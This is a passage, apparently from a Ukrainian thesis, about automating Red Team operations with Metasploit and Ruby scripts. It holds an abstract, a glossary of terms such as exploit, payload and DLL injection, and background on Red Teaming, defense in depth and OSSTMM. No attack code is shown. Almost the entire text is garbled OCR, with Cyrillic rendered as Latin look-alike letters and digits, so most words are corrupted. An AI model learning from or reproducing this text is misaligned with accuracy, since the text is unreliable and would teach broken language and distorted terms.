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PE®EPAT

Po6ora o6csiroM 55 cTOpiHKM MICTUTH 3 UItocTpariii, 6 Tabauub, 6 CKPUHIIOTIB

Ta () JITepaTypHUX MOCUIAHb.

Meroto pobotu € HagaHHsa gomomoru B omepauisix Red Teaming musixom
aBroMarm3ainii mnpoueayp Metasploit mpu po3poOii MIKIAIUBOTO MPOrPaMHOTO

3a0e3MeUeHHsI MPOTATOM YChOT'O TIPOIIECY.
O0’exTOM JIOCITIKEHHS € TIporiec ominku O0e3neku Red Teming.

Hpe,ZIMCTOM JIOCJ'Ii,H)KeHHH € aBTOMaTI/I3aIIi$I ObOr'0 MpOoLCCCyY M1 CKOPOYCHHA

Jacy ¥ miaBuiieHHs epextuBHOCTI podotn Red Teaming.

PesynpraT poOOTM BHKIANEHI Yy BUIIIANI KONy Ta CKPHMHIIOTIB HOro
BUKOHAHHS, 110 JEMOHCTPYE aBTOMAaTUYHE BUKOHAHHS BCIX 1M, sAKi Oyau moTpiOH1

JUTS iMiTallii KibepaTaku.

Pe3ynbprati poOOTH MOXKYTh OyTH BUKOPHCTAHI y mpoiieci ominku 6e3rneku Red

Teaming 3 ycima nepeBaramu, LLO CTOCYOTbCA Yacy i epeKTUBHOCTI BUTPAT.
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HEPEJIK YMOBHHUX ITO3HAYEHb, CUMBOJIIB, OIUHULb,
CKOPOYEHDb I TEPMIHIB

VYpa3znuBicTh — 1€ CIa0KICTh, sIKa J03BOJIAE 3JIOBMUCHUKOBI / TEHTECTEPY
37aMaty abo MOCTAaBUTH MiJl 3arpo3y Oe3mneky cucteMu. L cnabkicTh MOXe ICHYBaTH
B ONEpaliifHii cucTeMi, MPUKIAAHOMY HPOrpaMHOMY 3a0e3neueHHi abo HaBiTh B

MCPCIKCBUX IMPOTOKOJIAX.

ExcrimoitT — 1ue Koj, SKWd J103BOJISIE 3JOBMHCHUKOBI / TIEHTECTEpY
CKOpHMCTATHCSI BPA3JIMBOK CHUCTEMOIO 1 MOCTAaBUTU MiJ 3arpo3y ii Oesneky. KoxHa

Bpa3JIMBICTh MA€ CBIl BIIACHUN €KCIIOMT.

Kopucne HaBanTakeHHs — 1i¢ (GAaKTUYHUN KO, AKUN BUKOHYE poOoTy. Bin
Ipaloe B CUCTEMI Micid eKkcIuryatanii. BOoHM B OCHOBHOMY BUKOPUCTOBYIOTHCS IS

YCTAaHOBKH 3'€I[HaHH51 MK ATaKyIOUuM 1 MAIITUHOIO JKCPTBHU.

Monyni — 1e HeBenauki OyaiBenbHi 0J0ku Bciei cucteMu Metasploit. Koxxen
MOJTyJTb BUKOHY€E TICBHE 3aBIaHHs, 1 BCSI CUCTEMa CTBOPIOETHCS IUIIXOM 00'€ THAHHSI
KUTBKOX MOJYJIIB B €IUHUN MOyJb. HaliOuIbII00 MepeBaror Takoi apXiTeKTypH €
Te, 0 PO3POOHUKAM CTa€ TPOCTIIIC IHTETPYBAaTH HOBUH KOJI 1 IHCTPYMEHTH

EKCIUIOWTa B CEPENY.

HlximymBe  mporpamHe  3a0esrnedyecHHs (aHria. malware —  cKopoueHHs
Big malicious — 3yoBMucHUiI 1 warioware — mporpamMHe 3a0e3MeUCHHS) —
nporpaMHe 3a0e3leYeHHs, SKE MEepenIkopkae poOoTi Komm'toTepa, 30mpae
KoH(ineHmiiHy iH(opMaIliio adbo OTPUMYE JOCTYH 10 MPUBATHUX KOMITHOTEPHHUX

CHCTCM.

Red Teaming — s cuctemu abo Mepexi BH3HAYAETHCS SK IPOIEC
BUSIBJICHHS BPA3JIMBOCTCH IIITXOM MOJICIIOBAHHS i 3JIOBMHCHHKA B PEATbHOMY

qJaci.


https://uk.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D1%96%D0%B9%D1%81%D1%8C%D0%BA%D0%B0_%D0%BC%D0%BE%D0%B2%D0%B0
https://uk.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BD%D0%B5_%D0%B7%D0%B0%D0%B1%D0%B5%D0%B7%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%BD%D1%8F
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Metasploit Project — e mpoekT chepr KOMI'IOTEpHOI Oe3lekH, IO Haaae

1HpOpMaIIII0 PO BPA3IMBOCTI CUCTEMHU 1 JIONOMArae y TecTax Ha NMPOHUKHEHHS Ta

po3po0i IDS.
IDS (Intrusion Detection System — cucrema BHSBICHHS aTaKk ) —
nporpaMHuii  abo  amapaTHuM  3aci0d,  NpU3HAYEHUW IS BUSBICHHS

(akTiB HECAHKIIIOHOBAHOTO JIOCTYNY B KOMII'TOTEPHY CUCTeMYy abo wmepexy abo

HecaHKHiOHOBaHOI‘O yr[paBJIiHHSI HHUMHU B OCHOBHOMY 4C€pPC3 IHTepHeT.

HIDS (Host Intrusion Detection System) — 1e cucTemMa BHSBICHHS
BTOPTHEHbB, sIKa BEJE CIIOCTEPEIKEHHS 1 aHali3 MOAiH, 10 B1IOYBalOTHCS BCEpEIUHI

CHCTEMH.
Ib — indopmarriiina 6e3nexa

OSSTMM (Open Source Security Testing Methodology Manual) —

MGTO,IIOJIOFi}I TCCTYBAHHS CUCTEM Oe3IexH 3 BiI[KpI/ITI/IM BI/IXi,IIHI/IM KOJOM.

APT (Advanced Persistent Threat) — posBuHeHa cTiiika 3arpo3a, TaKOX

IiJThOBa KibepaTaxa.
[13 — nporpamue 3a0e3ne4eHHS

DLL Injection — 1i¢ MeTon, KMl BHKOPHCTOBYETHCS IS 3allyCKy KOAY B
aJpPEeCHOMY MPOCTOP1 1HIIOTO MPOIIECy, 3MYIIYIOUM HOTO 3aBaHTaKyBaTh 010J10TEKY

auHamigHoro 3'emHanHs (dynamic-link library).

MSFPC (MSFvenom Payload Creator) —  1e oOroptka s CTBOPCHHS

JEKUTBPKOX THIIiB KOPUCHOTO HABAaHTAXKCHHS Ha OCHOBI BUOOPY KOPUCTYyBaya.
Scrum — wmeTon ynpaBiliHHS TPOSKTAMH.
bexnor — siBnsi€ CIMCOK BUMOT IO/I0 PO3POOITFOBAHOTO TIPOTPAMHOT0 3ac00y.

OC — omeparriiiHa cuctema


https://uk.wikipedia.org/wiki/%D0%9D%D0%B5%D1%81%D0%B0%D0%BD%D0%BA%D1%86%D1%96%D0%BE%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B9_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF
https://uk.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BC%D0%BF%27%D1%8E%D1%82%D0%B5%D1%80
https://uk.wikipedia.org/wiki/%D0%86%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82
https://en.wikipedia.org/wiki/Dynamic-link_library

BCTYII

Yac ta epeKTUBHICTh BUTPAT — JIB1 OCHOBHI IPpOOIeMH 1HPOpMaLIIITHOT
6esneku. [ Toro, mo0 3aBxkAu OyTH HAMOrOTOB1 10 aTaku, MOTPiOHA MTOBHA
MUIBHICTB Ta OLIIHKA, CTOCOBHO 1H(popMaliitHoi 6e3nexu. [Ipouec BUusBiIeHHS
BpaznuBocTel min Ha3zBoro Red Teaming Operations motpedye py4HOi 00poOKH
MporpaMHMX 3ac00iB, III0 BUKOPUCTOBYIOTHCS IiJ] Yac OI[IHIOBaHHS, OCOOJIMBO MPHU
BUKOPUCTaHHI aTak 3 00Ky KkiieHTa. [Ipu B3aemMoii 3 KIIEHTCHKOIO aTaKOlo,
NEepCIeKTUBA aBTOMATU3AIIIT 1ye 0OOMeKeHa Yepe3 HEBU3HAYEHICTh CepeIOBUIIA Ha

CTOPOHI KIJTIEHTA.

[IpoTe aBTOMaTH3aIIsl HA CTOPOHI KITIEHTa MOYJIMBA 32 JOTIOMOT OO
nporpamHoro 3abe3nedeHHs Metasploit Framework, sike mupoko BUKOPUCTOBY€ETHCA
B Red Teaming Ta mpomnoHye nepcrnekTUBHI MOXKIMBOCTI aBToMaTu3ailii. Haito b
3HAYMMOIO [IEPEBAT0I0 € CKOPOUEHHS Yacy, 110 € Habarato OUIbIINM, HIK IPOCTO
IPUCKOPEHHS MIPOLIECY, OCKUIBKU MOKJIMBICTh BAKOHYBATH OY/b-sIKE 3aB/IaHHS 3
OUIBII KOPOTKHUM MPOMIKOK Yacy MPU3BOJUTH J10 3pOCTaHHS MPOIYKTUBHOCTI,

HAJIHHOCTI Ta PO3IIUPEHHS TIOCTYITHOCTI.

AKTyaJIbHICTb POOOTH 3YMOBITFOETHCS JTYXKE MAJIOIO0 KUTBKICTIO IIUPOKO
omyOJIIKOBaHUX IPOEKTIB aBTOMATH3allli, He3BakKarouu Ha Te, 1o Metasploit
Framework € mpoekTom 3 BinkpuTuM BuximHuM kojoM . Illo crocyeTscs Red
Teaming Operations, JOCTYIHICTb BIIIOBITHUX MPOEKTIB aBTOMATH3AIIiT CTA€ 1€

piAIIoo.

Mertoro pobotu € HagaHHs gomoMoru B omneparlisix Red Teaming nutsixom
aBTomartm3aiii npomenyp Metasploit mpu po3poOIIi MIKIIITMBOTO MPOTPAMHOTO

3a0e3MeUeHHsI MPOTATOM YChOTO TPOIIECY.

3aBmaHHIM pOOOTH € PO3pOOKa CIIEHAPiIB aBTOMATHU3AIIl1, 32 JOTIOMOTOI0 MOBH
nporpamyBanHs Ruby. Cuenapiit aBromartu3zaiii Oyae nodyaoBaHuii Ha 1BoX rpadax
aTaku, 00M/Ba 3 AKUX MAaTUMYTh KOHKPETHY METY 11010 00’ €KTIB aTaKH,

HaMarar4uch IMITYBaTH CLEHApIi peajabHOi Kibep-aTaku, CKOPUCTABIIUCH



cydyacHuMU Moayiiamu Metasploit Framework ta ioro inTerpoBaHuMu

THCTPYMEHTaMHU.
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1 RED TEAMING ta METASPLOIT

3axuct iHGOPMAIIHHUX CUCTEM BUKIIMKAE TJIMOOKY 3aKJIOMOTAHICTh, OCKUIBKU
BOHU BBAXKAIOTHCS Bpa3jiMBUMM 3a CBO€ mpupojaor. Kibeparaku mNpoBOASTHCS
HIOJHA Ha OyIb-KMI TUN LUIeH, 1 NpPEeACTaBIEHHS NpO Te, L0 CTaH MOBHOI
Ki0epOe3neku Moxke OyTH T0CATHYTHM, € Unto3ieto. [1lo0 migBumTH piBeHb Oe3nexw,
OyB CTBOpPCHHI apceHas pillleHb, KWW BKIIOYA€ B ceOE OMIHKK Bpa3auBocTel. [1]
OnuiHka Bpa3auBOCTEN € HEBLA'€MHOIO YACTUHOIO K10epOe3neKu, 10 MOXKe MpUuiMaTi
pi3Hi hopmHu, BiJ ayauTy O€3MeKH A0 TECTYBaHHS HA MPOHUKHEHHS. Lli iHCTpyMeHTH
Ty’)KE€ CXO0X1 3a CBOIM TIAXOJOM 1 TEMep € YaCTHHOW OyIb-IKOI TMOJITUKU
kiOepOe3nekn, HE3aJIeKHO BiJ TOTO, 3aCTOCOBYIOTHCS BOHU B IPUBATHOMY abo
Jep>kKaBHOMY ceKTopi. B KOHTeKkcTi kibepOesneku, TMpakThKa, OUIBII BioMa SIK
TECTYBaHHS Ha MPOHUKHEHHS a00 €TUYHUH 3J7I0M, € YaCTUHOIO Py METOIB OLIIHKU

BPA3JIMBOCTEH 11010 iHpopMaIiitHuX cuctem. [1]

3 MOCTIMHO 3POCTAIOYHMM CBITOBUM IHTEPECOM 10 KOMIT IOTEPHUX CHUCTEM Ta X
1HTEerpaIfiero Maixke B KOXKHOMY acIeKTi IIsJIbHOCT1 JIFOACTBA, KIOEP3JOUYMHHICTD
CTPIMKO 3pOCTa€ Ta CTA€ BEJIUKUM PU3MKOM JIJIs IMUBLII3AIT 21-TO CTOMITTA. 3TigHO 3
OCTaHHIMHU 3BiTaMH CTpaxoBoi koMmmaHii HiscoX, KUTBKICTh ¢ipM, IO MOBIIOMIISIOTH

po KiOepiHIUACHTH, 30UIbIINIACk 3 45% MUHYJIOT0 poky 70 61% y 2019 pori. [2]

VY HanpsiMKy pearyBaHHs Ha KIOEp3JIOYMHHICTH Oprasizaiii B yChOMY CBITi
1HBECTYIOTh Benrue3Hi komtH [3]. ¥ mipy Toro sik 4nciio kibepatak 30UIbITy€eThCs, 1
JUIsl iX YCYHEHHsI TOTpiOHO OiIbIe Yacy, BapTICTh KiOEP3IOYMHHOCTI MPOIOBKYE
3poctatu. KinbkicTh opranizaiiiid, sKi 3a3Hajid Hamaay ransomware, 3pocia Ha 15%
3a OAMH PiK 1 301mpmMIacs OUTBII HIXK Y TpH pasu 3a aBa poku. Hlkinmuse [13 — e
HaWJIOPOXKYMK THUI aTtak g opranizamii. B Jlogatky 1, mpukpimieHoMy 110 i€l
poOOTH TIOKa3aHO, IO BapTIiCTh MIKIIJIMBUX aTak 3pocia Ha 11% 3a pik 1 B JaHuii yac
CKJlajjae B cepeaHbomy 2,6 MmuibiioHa nonapiB CIHIA Ha pik s opraHizamid, a

BapTICTh 3JI0OBMUCHMX I1HCaliiepchkux artak 30utbmmiaca Ha 15%. Ilokpaiiene
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PO3yMIHHS BUTPAT Ha KIOEP3JIOUMHHICTh MOKE JIOMIOMOITH KEpIBHUKAaM Y 00pOThO1 31
3JIOYMHLISIMM, $IKl, HaBITh, MOXYTb pO3pOOJIATH ransomware, CHOpsIMOBaHI Ha
MDKHapoAHy MacmitaboBaHicTh [3]. 3amoOiranHs KiOep3arpo3 € MNpoueayporo

HaJallITyBaHHA pilIeHb KiI0epOe3neKu.

OnHa KUTTEBO BaXKJIMBa ICTMHA JJIi KOXKHOI OpraHizallii, He3Ba)kalouu Ha
OyIb-K1 XapaKTePUCTUKH, K1 BIIPI3HAIOTH X OJHA Bl OJHOI, MOJIITAE B TOMY, IIO
KO’KHA 3 HUX NMOBUHHA OYTH MiATOTOBJIEHOIO. 3ITKHEHHS 3 KiOep-aTakoro - 1e JIMIe
NUTaHHS Yacy 1 3 1i€i NMPUYMHU OpraHizalisiM HEOOXIHO pO3pOOUTH IUIAH HJs
He3arutaHoBaHO1 Toli. 3HOBY K Taku, 3rigHO 3 Hiscox, iCHye BIAMIHHICTH MIX
ICHYI04OI0 K10ep-0013HaHICTIO OpraHi3alii Ta 3yCHUJUIAM, BKJIQJICHUM Y ii mepexia Ha
HacTynHuil piBeHb [2]. Lle mocuiroe Touky 30py, IO €KCIUTyaTalliifHa TOTOBHICTh

MOBWHHA MOCTIMHO Mi/IIaBaTUCS MEPEBIPIIl BIIMOBIIHO 10 Cy4acHOi KibepOe3mneKu.

Bukopuctanus mexaHi3MiB KiOepOe3NeKu € OJHUM 3 TEePIIMX KPOKiB, OO0
3abesrneueHHs iHopmarliiinoi 6e3nexku (manmi Ib). OTxke, KoXkeH MeXaHI3M TaKOTO
POy TOBHWHEH IMEPEBIPATUCS, TOPSA 3 €KCILTyaTaI[iiHOK TOTOBHICTIO BiJMOBIAHOT
opranizaiii, 1 Tyt Bcrynae B aito Red Teaming. 3aranbHa koHueniiss «YepBoHOT
KOMaHIW» ICHY€ JUIsl BHUSBICHHS 00JIacTi JOCHIDKYBAaHOTO TIpeaMeTa, Jie

e(eKTUBHICTh MOKe OyTH ImiaBHIcHa [4].

Red Teaming € moTy)XHMM aKTHBOM y pyKax KEpIiBHUKIB opraHizaiiii s

JOCTYIy Ta MOKPAIIeHHs IIU(PPOBOTO aCTIEKTy CBOET IHOPACTPYKTYPH.



13

1.1 Red Teaming
1.1.1 Red Teaming B Ib

st cucremu abo mepexi, Red Teaming Bu3HauaeThes K MPOLEC BUSABIICHHS
BpPa3JIMBOCTEN MIISXOM MOJEIIOBaHHS [l 3JI0BMHCHHMKAa B peajJbHOMY 4aci.
Kinnesoto meroro Red Teaming € nepeBipka Ta migBUIIEHHS 0€3MEKU JaHOT CUCTEMU

a00 Mepexi 3 METOI0 BU3HAYCHHS HaMipiB MpOTUBHHKA [5].

Epix MaituBanbn [5] Busnayae Ib sk cnoci® omiHku 3arpo3 1 Bpa3inBOCTEH 3
METOI0 TMPABWJIBHOTO YMPABIIHHSA OTpUMaHUM pusukoM. OpjHak, s Horo
yIpaBliHHS, HEOOXIAHO BU3HAYUTH MOro TOTOYHMN craH. Takuil mporec
inenTudikaiii BKIOYaE B ceOe OIIHKY BiJl BPa3JIMBOCTEH Ha PIBHI CHUCTEMH 0
PHU3MKIB Ha PiBHI BCi€T Opraxizaiii Ta TeCTyBaHHS Ha MpoHUKHEHH. [lepmioueproBum
3aBaaHHaM (axiBiie Ib € BukopucTaHHS pe3ynabTaTiB OLIHOK JJIs peaizarii
CTpaTerii 3MEHIICHHS pU3UKY, CHPAMOBAaHMX Ha MIHIMI3aALIO pU3UKY, TIPH

HC3aIllTaHOBAHUX HO,ZIi}IX.

Red Teaming - me juime OAMH KOMIIOHEHT 3arajbHOi 1H(pacTpyKTypu
Oe3IeKy, 10 BXOAUTH JI0 eTamy oliHKu npotecy Ib. [IpeBeHTHBHUI MiAXia 10 BOTO
IPOIIECYy aHAI3y€E BPA3JIMBOCTI B 3aXKUCT1 iH(QOPMAIIHHUX CUCTEM 1 BUBHAYAE PU3UKH,
MOB'sI3aH1 3 HUMH, [0 NMPU3BOJUTH A0 BU3HAYCHHS BIAMOBIIHMX KOHTP3aXOMdiB SK

MEXaHI3MIB 3aro0iraHHs Hamamy.

OcHoOBHa ifiess — TUTAHYBaHHS 10 He3arutaHoBaHoro [5]. [lepeBakHa OUTBIIICTH
IHIUACHTIB Oe3MeKu, sKi BUABWIHCS (IHAHCOBO pPYHHIBHUMH, BiIOyBalOThCS 32
pPaxyHOK BiICYTHOCTI 3aIJJaHOBAaHOTO pearyBaHHs. 3aBisku mauHamimi [T-iHmycTpii 1
MOCTIMHOMY BHSIBJICHHIO BPA3JIMBOCTEH Y MPOTpaMHOMY 3a0€3IeUeHH1, ISl TOTO 1100
3auIIaTUCs B Kypci, MOTpiOHO MOCTiHO nmuiabHyBaTu. Ib mpencraBnena y Burmsmi

o0pa3y MHUCJICHHsI, 3aCHOBAHOTO Ha YIPaBIiHHI PU3UKAMH.

3rigHo Kpicy Iliky [5], mporec Ib ckinamaeTses 3 m'stu 00€pTOBUX KPOKIB:
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1. Ouinka MOTOYHUX 3axXO0JiB, METOAIB 1 MOmiTHK Ib, HaNIEHWX HaA OI[IHKY
ICHYIOUOT'O CTaHy PU3HKY.

2. 3a MITPUMKH TONEPEIHbOI OLIHKKM CTBOPEHHA I1H(OPMALIAHOI MOJITUKH
0e3MeKku 3 MeTor0 €()EeKTUBHOTO YIIPABIIHHS MOB'A3aHUM PU3UKOM.

3. AHani3 Ta BOPOBAKEHHS BIAMOBIIHUX TEXHIYHUX 3aC001B 1 3aC001B KOHTPOIIIO
0e3MeKH B HAPAMKY YIIPaBIiHHS PU3UKAMU.

4. 3abe3neueHHsd HaJeKHOrO HaByaHHS o06013HaHocTi Ib s opranizamii 3a
JIOTIOMOT OO 3aJTY4YEHHsI 1 CHIBIIpalll ii CiBpOOITHUKIB.

5. IlpoBeaennss ayauty cucreMu abo Mepexi, Jis TEepeKOHaHHs, 1110

CHiBpOOITHUKY BIAMOBIAAIOTH BUMOTraM 1H()OpMaliifHOT OTITUKU OE3MEeKH.

BaxxnuBicth criiBpoOiTHUKIB, 3anydeHux Ao etamiB Ib Kpica [lika, umroctpye ix
AK KPUTHUYHI KIHLIEBI TOYKM 1HGOpMaIifHOI 1HPPACTPYKTypH OpraHizaiii.
EdektuBHicTs cTBOpeHOT 1H(MOpMAIIHHOT TOJITUKM OE€3MeKH 3acHOBaHA Ha

BIJIMTOBIIHOMY HaBYaHHI CITIBPOOITHUKIB 1 IX CYBOPOMY JOTPUMAHHI MOTITHKH.

Ax sragyBanocs panime, Red Teaming 3HaXOaWTHCS Ha TMEPIIOMY eTarli
npouecy Ib, skuii crocyeThcs oIiHKM pusukiB. Red Team BukopucTOBye
IHCTpYMEHTH I BUSBICHHS BpAa3JIMBOCTCH, NPONOHYIOYM MOXKIIUBI 3arpo3u
00'ekTHO1 cucteMi abo mepexi. [Ipote, minxinm Red Teaming, GiabIn peTenbHHM, HIXK
miaxig OUTBIIOCTI MPOTUBHUKIB. [ MOTEHIIMHUX 3JOBMHUCHHUKIB Oy/€ JOCTaTHBO
OJIHI€T Ypa3NMBOCTI, IO CKOMIIPOMETYBajda CHUCTEMY, OCKUIBKM BOHU TIParHyTh
VHUKHYTH BUSIBIIEHHS. 3 iHIoro 0oky, ¢axiemi Red Teaming mepeBipsStoTh KOXKHY
MOXJIMBY Bpa3IUBICTh B HAMNPAMKY OIIIHKH KOPEIbOBAHOTO PH3UKY, NpParHydH

3pOOUTH TTOBHY OIIHKY O€3IEeKH.

Kpic Ilik ctBepmkye, mo mnpu omiHimi Red Teaming BUKOPUCTOBYETHCS
OaratopiBHEBUU MIAXiJ 10 OIIHKA OKpeMux oOjacteil Oesmexu [5]. BimmoBigHo 10
teopii Defense in Depth, minkoBa cuctema abo Mepeka IMOBUHHI TECTyBAaTHCS Ha

KO>KHOMY P1BHI MOTEHIIIITHOT aTaKH.

3axucT B TNIMOMHY BKJIIOYa€ B ce0€ HACTYIHI IIApU:
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Perimeter

Application

Pucynox 1.1 Ipuknang Defense-in-Depth 3 tech-wonders.com [6]

Konneniris 3axucty B TNIMOWHY BUMAarae HasBHOCTI KOHTPOJIFO O€3MeKu Ha
KokHoMy piBHI. Red Teaming oIliHO€ BiIMOBIAHICTh TOJITUKH ITUX €JIEMEHTIB
yOpaBIiHHS Ha BIATOBITHOMY piBHI, (OKYCYIOUHCh Ha B3a€EMO3B'SI3KYy MiXK
eJIeMEeHTaMH YIIPaBIIiHHS 1 pIBHEM, Ha KWW BOHM HaHEeceH1. B pe3ynbrarti OIiHKH
OyJe CKIaJeHO CIUCOK BHSBJICHUX BPa3IMBOCTEH, KOXHA 3 SKUX BIIHOCUTHCA 10
neBHOi obOmacti mepeBipku BpaziauBocTeit OSSTMM ( Metonmonorisi TecTyBaHHSA
cucTeM Oe3neku 3 BimkpuTuM BuXigHHM kKojgoM (Open Source Security Testing

Methodology Manual)) [5].

Jlana MeTojoJIoTis  JO3BOJISIE  TPOBECTH  IIOBHOIIHHE TECTyBaHHA 1
CTaHAapTU3AI0 Mepexi. MICTUTh «kapTy Oe3mekn», Ha AKiil BKa3yHOThCS OCHOBHI
ramy3i Oe3meKku, sKi BKJIIOYAIOTh B cebe HAOOpW eNeMEeHTIB, M0 MiAIsATraloTh

TECTYBaHHIO: [7]

1. Tadopmarriitna Oe3neka
2. TecryBanHs mporecy Oe3meKu
3. TectyBaHHs TEXHOJIOT1 BeO-Oe3meku

4. TectyBaHHA O€3MEKM KaHAJIB 3B'SI3KY



16

5. TecryBaHHs Oe3neku O€3APOTOBUX TEXHOJOT1H

6. TectyBaHHs (i3UUHOI Oe3meKU

KoxHeH eneMeHT TeCcTyBaHHS Ma€ CBOIO BJIACHY BIIMIHHY METOJOJIOTIIO, Ta
BIIMOBIAHI 1HCTPYMEHTH, i BuUKoOHaHHA. [IpoTe, He3anexxHo Big o006sacTi
TecTyBaHHs, npoiec Red Teaming nmoBUHEH peryiroBaTUCS MPOTATOM BCi€l OLIIHKU

BIJIIIOBITHO JIO MIOr0 HEyIepeKeHOro xapakrepy [5].

1.1.2 TIpouec Red Teaming

Red Teaming wyacTo Ha3WBalOTh «CTHYHHM XaKiHTOM». TakuM YHHOM,
MPUHIIMIIOBO, 1€ TIOBUHHO BHUKOHYBAaTHUCA 3 aOCOJIOTHOK KOH(DIAEHIIMHICTIO,
po3cyaom 1 mpo3opicTio [5]. Orminka Moxe OyTH 3arajibHOI ab0 KOHKPETHOH0, B
3QJIEKHOCTI Bl HaMipiB Kii€HTa 1 / a00 ¢akTOpiB BapTOCTI, B TOW yac K Oararto
OI[IHOK HAaBMHCHO TIPUXOBYIOTHCS  BiJ CHCTEeMHHX aJMIHICTpaTopiB  abo

aMIHICTPATOPIB MEPEKI.

OnuuM 3 koMnoHeHTIB omiHku Red Teaming € TecTyBaHHS Ha NMPOHUKHEHHS,
TEPMiH, SIKHA TOCTiiiHO TuTyTaroTh 3 camuM Red Teaming. TecrtyBanHsS Ha
IIPOHMKHEHHS JOCIIKYe CcHUcTeMy a00 Mepexy Ha HasBHICTh BXE BIIOMHX
BPa3UBOCTEH, BUKOPUCTOBYIOUM YHCJICHHI METOAM 1 IHCTPYMEHTH IJIsi OTPUMAaHHS
JOCTYITy, OTpUMaHHs iHGopMalii abo HaBITh 3amOMISHHSA IIKOAW. TWMM HE MEHII,
KIIIOUOBUM  elieMeHToM, sikuii Bimpisase Red Teaming Big TecTyBaHHA Ha
MPOHUKHEHHS, € Te, IO MEPIIA TECTye IU3aiiH, a APYTHM TeCcTye peajialliio.
TecTyBaHHs Ha MPOHMKHEHHSI caMe 1O cOO1 HE B 3MO031 3a0€3MEYUTH MOBHY OIIIHKY

O€e3IIEKN.

ITpu po3po6iii oninku Red Teaming, HEOOXiMHO pO3Mi3HATH HAKMCIIA0MII JIAHKA
Oe3mneKku B cucTeMi abo Mepexi, o0 MmoYaTh OIiHKY Bpa3iauBocTi [5]. JocmimkeHHs,
nposegeHe Merrom bimonom, Codi Eurn, [lonowm Iaiizeprom, Hlonom VYelinenom 1

Keppi I'eiiTc, cniBBIIHOCUTH 3HAYHY MPOOJIEMY 3arpo3u 3CEpEeIMHHU 3 aTpudyTaMu
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noctymy [8]. Jlronu inenTudikoBani sk Haiiciaab1ia laHka B Oe3nelll, 1 ClIiBPOOITHUKH
oprasizaiii, o0COOJMBO Ti, KOMY HaJaHI KpPUTUYHI CUCTEMHI ad0 MEpEKeB1 NpUBLIET,
BUJUUIEHI B SKOCTI MEpHIMX OO0'€KTIiB, $KI OYyIyTh NEpPEBIPEHI Ha HASBHICTD

Bpa3JIMBOCTEM.

Red Team, sika mpoBOIUTH TECTYBaHHS, MOBHHHA TOBHICTIO JIOKYMEHTYBATH
cBOi nii 1 mpoueaypu. Y pa3l BUHUKHEHHS I1HIUICHTY, Yepe3 OIlIHKH, BaXKJIUBICTb
NPaBWIBHOI 3BITHOCTI, sika OyJe BUKOPUCTOBYBATHCS NPHU BiJCTEKEHHI, O€3lliHHA.
KpiMm Toro, morpiOHa BiANOBiIHAa 3BITHICTh B pa3l MEPEOLIHKH, KOJIU MOTpiOHA
nepeBipka pe3yibTaTiB TecTyBaHHs. [Ipu Oynb-skux oOCTaBMHAX MOBHHUM 3BIT Tak

caMmo BaXXJIMBHH, sK 1 cama ominka Red Teaming [5].

Red Team o6najHaHa MUPOKUM HAOOPOM IHCTPYMEHTIB, IO CKIAJA€ETHCS 3
amapaTHOrO Ta MPOrPAMHOTO 3a0C3IMEUYCHHS, Ta CICIIAJIbHUX 3HaHb, OTPUMAHHUX 3
nocBigoM. KoxxHa 00J1acTh TECTyBaHHS BpPa3IMBOCTEH BHMAarae creriaiizarii, 1o
OpU3BOIUTE 10 00'eHaHHSA pi3HMX KBadidikoBanux mpodecionanis B Red Team.
[TounHaroun Bix CKaHyBaHHsS TMOPTIB 1 3aKIHYYHOUM TECTYBaHHSM Ha BIJIMOBY B
0o0CIIyrOBYBaHHI, CIUIBHUMHU 3yCHWIIAMH B 00JacTAX CIeliami3aiii peari3yeTbes

MIOBHA OIliHKa Oe3meku, Bu3HaueHa sk Red Teaming.

He3Baxkaroum Ha Te, MmO ICHye Oe3llid KOMEPUIMHUX MPOrpaMHUX
iHCTpyMeHTiB, 11 Red Teams mmpoko TmommMpeHa TMpakTHKa B3aEMOJIl 3
IHCTpYMEHTaMH 3 BIIKPUTHM BHXiTHUM KojoMm. [limcTtaBoro 1jisi IIbOTO METONY €
iMiTamis i TpPOTUBHUKA B peajbHOMY  KUTTI.  BUIBIIICT  XakepiB
BUKOPUCTOBYBATUMYTh 3arajbHOJIOCTYIHI IHCTPYMEHTH, HE JKEPTBYIOUH IPU IIHOMY
AKICTIO 3apaJd HU3bKOI BapTOCTIi, 3alpPOMOHOBAHOI MPOTPAaMHHUM 3a0€3MEUCHHSAM 3

BIIKPUTUM BHX1JTHUM KOJIOM.
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1.1.3 Omepauii Red Teaming

Ilin wac omiHroBaHHs, omeparlii, o npoBoaaThcsi Red Team, muanyroThcs
BIIMOBIIHO JI0 3JIOBMUCHMX J1H peaJlbHOTO MPOTHBHUKA. BpaxoByroduu BaKIMBICTh
OLIIHKY O€3MeKU Y BEJMKUX opraHizamisx, miaxia Red Teaming, noaibuuii 10 Takoro
piBHS, MOBHMHEH BIJIOBIAATH JOCSITHEHHSM B OOJAacTi KOMI'FOTEPHUX CHUCTEM 1

MCPCIKHHUX BTOPTHCHbD.

Kopnopariss Lockheed Martin moBimomiisie, 1o JOMOKH ICHYIOTh TJ100aJIbHI
KOMIT'FOTepHI MEpEeXi, 3IOBMUCHUKH MAlOTh HaMip BUKOPUCTOBYBATH 1X BPa3JIMBOCTI.
PaHHs eBouTIOIiS 3arpO3W KOMITHOTCPHHM MepekaMm BKJIrOYana B cebe Koj, 1o OyB
3laTeH CaMOCTiIHHO momuproBatucs [9]. 3 MIMHOM dYacy, NOCATHEHHS B 00JacTi
AHTUBIPYCHUX TEXHOJIOTiH 3HAYHO 3HU3WIM I aBTOMAaTHU30BaHWW pU3HK. AJie
30BCIM HEJIJaBHO HOBHH KJIaCc 3arpo3, CIPSMOBAHMX Ha KOMIIPOMETAIII0 JaHUX JJIs
€KOHOMIYHOT'0 200 BIHCHKOBOTO MPOTPECy, CTaB HAUOUIBIINM €JIEMEHTOM PHU3HKY, 3
SKHM CTHKAIOThCS JesKi ramysi. [lpomMy kiacy 3arpo3 mpucBoeHo Ha3By «Advanced
Persistent Threaty a6o APT [9]. Ha choromuimHii aeHb OUIBIIICTH OpraHizarii
MOKJIA/Ial0ThCSl HA TEXHOJIOTIl Ta MPOILECH, IO 3aCTOCOBYIOTHCS JUIsl 3HUIKEHHS
